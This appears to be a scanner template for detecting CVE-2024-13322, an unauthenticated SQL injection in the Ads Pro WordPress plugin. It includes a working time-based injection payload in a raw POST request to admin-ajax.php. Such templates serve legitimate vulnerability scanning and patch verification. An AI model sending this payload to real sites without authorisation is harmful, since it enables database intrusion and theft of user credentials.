id: CVE-2024-13322

info:
  name: Ads Pro Plugin <= 4.88 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to SQL Injection via the 'a_id' parameter in all versions up to, and including, 4.88 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database including usernames, passwords, and other confidential data via SQL injection.
  remediation: |
    Update Ads Pro Plugin to a version newer than 4.88.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ap-plugin-scripteo/ads-pro-plugin-multi-purpose-wordpress-advertising-manager-488-unauthenticated-sql-injection
    - https://codecanyon.net/item/ads-pro-plugin-multipurpose-wordpress-advertising-manager/10275010
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3bcb60a8-220f-45a4-a9a9-10f64acf470c?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-13322
    cwe-id: CWE-89
    epss-score: 0.01579
    epss-percentile: 0.72297
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,sqli,time-based-sqli,wp,wp-plugin,wordpress,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=bsa_stats_chart_callback&ad_id=1+and+(select*from(select(sleep(0.7)))a)-- -

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - clicks
          - weekly_views
          - labels
        condition: and

      - type: dsl
        dsl:
          - 'duration>=7'
# digest: 490a0046304402201b5cb4bacfa1112f7a73fa5022e0697075c4973dc39a111bb4d3c0789e1089fa02200ca8db6be99523d2405630f83f297aa9bff58eb2f0e9d7e650e3f51d4896360c:922c64590222798bb761d5b6d8e72950